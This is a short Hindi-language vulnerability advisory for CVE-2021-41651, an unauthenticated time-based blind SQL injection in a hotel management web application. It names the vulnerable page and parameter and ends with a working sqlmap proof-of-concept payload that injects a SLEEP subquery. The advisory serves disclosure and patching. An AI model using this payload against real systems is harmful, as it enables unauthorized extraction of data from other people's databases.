CVE-2021-41651

CVE-2021-41651 hotel-mgmt-system में SQL इंजेक्शन

hotel-mgmt-system अप्रमाणित समय-आधारित अंध SQL इंजेक्शन हमले के लिए संवेदनशील है।

/process_update_profile.php पृष्ठ पर cid पैरामीटर उपयोगकर्ता इनपुट को सैनिटाइज़ नहीं करता, एक हमलावर अंतर्निहित MySQL डेटाबेस से संवेदनशील डेटा निकाल सकता है।

एप्लिकेशन का लिंक

hotel-mgmt-system

प्रभावित घटक और पैरामीटर

URL: /process_update_profile.php
पैरामीटर: cid

प्रूफ ऑफ कॉन्सेप्ट (PoC)

SQLMAP PAYLOADS

/process_update_profile.php पृष्ठ पर cid पैरामीटर

पैरामीटर: cid ((custom) POST) प्रकार: समय-आधारित अंध शीर्षक: MySQL >= 5.0.12 AND time-based blind (query SLEEP) पेलोड: phone=123456778&cid=14 AND (SELECT 9048 FROM (SELECT(SLEEP(5)))zCfD)-- IKdVf&submitBtn=Update&fullName=James&[email protected]&newPassword=fasdfasdfasdfasdfasdf-